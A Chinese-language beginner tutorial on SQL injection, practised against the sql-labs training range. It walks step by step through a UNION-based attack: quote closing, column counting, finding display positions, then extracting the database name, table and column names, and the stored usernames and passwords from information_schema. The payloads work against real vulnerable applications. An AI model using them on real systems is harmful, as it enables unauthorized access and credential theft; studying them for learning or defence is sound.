注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程
SQL注入基础教程
数据库的结构
在学习数据库之前,我们首先要了解数据库的结构。
一般数据库由三个部分组成:
1.数据库
2.表
3.列
MySQL数据库默认有四个库
information_schema
mysql
performance_schema
test1.
简单介绍一下各库有何作用。
information_schema:
保存着数据库中所有数据库的信息。
其中需要记住有三个重要的表名
1.tables
table_schema列:存放着所有数据库的名字
table_name列:存放着所有数据库中表的名字
2.columns
columns_name列:存放着所有数据库的列名
3.schemata
schema_name列:存放着所有数据库的名字,只有数据库的名字
注:注入时常用information_schema库
mysql:
这是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。 不可以删除,不可轻易修改其中的信息
performance_schema:
mysql5.5 版本 新增了一个性能优化的引擎,performance_schema这个功能默认是关闭的。
test:
没有东西
注释符
在mysql中有- -和#两种注释符
注释符- -后需要跟空格才能使用,而注释符#后可以直接跟需要注释的内容
注:- -后也可以跟其他符号,效果一样。
SQL注入之基础注入
注:需要有sql-labs靶场,sql语句命令基础
首先介绍一下注入的两种类型:
1.数字型
2.字符型
首先在地址栏中输入?id=1
,如图:
这就相当于在sql中执行了select * from users where id='1' limit 0,1;
OK,了解原理后我们开始判断注入的类型
在地址栏中输入?id=1 and 1=1
,结果正常回显,输入?id=2
,结果也正常回显
注意看,这里的?id=1 and 1=2
,如果是数字型注入的话,这里会有一个逻辑判断,即1不等于2,这将会返回一个空值(Null),返回一个错误页面。
简单来说,就是如果报错,就是数字型
注入,不报错就是字符型
注入。
经过以上推断我们发现,这是一个字符型注入。
我们接着输入?id=1'
发现报错。
这里就要用到我们开头提到的注释符了。看红框处,near后面是报错的部分,这里的报错是用near’…'的格式,去掉外面的 ’ ’ 两个引号,我们得到 '1''
。
为什么会出现这种情况呢?
这是因为我在地址栏中写入的?id=1'
相当于sql中执行的select * from users where id='1'' limit 0,1;
所以我们需要注释掉一个后面的引号。
写成:?id=1' --+
闭合成功,不再报错。
接下来就可以开始正式注入了。
先确定有几列:
?id=1' order by 3--+
未报错
?id=1' order by 4--+
报错
判断显示位
?id=-1' union select 1,2,3--+
注意:这里是?id=-1'
,如果还输入1,则会正常回显。
此步我们得知有两个显示位。
获取数据库的名称
?id=1' union select 1,2,database()--+
注:database()
函数是用来返回数据库的名称的
这里得知数据库的名称为security。
查表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
注:group_concat
函数可以将多行记录合并成一行,若不加此函数则只返回第一行记录。
成功获取
获取列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
最后一步
爆表
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
结语:此篇只是一篇基础教程,想要获取网站的数据库或后台,并没有这么简单,后续会给大家出更高级的教程,只有多积累才会有更高的水准。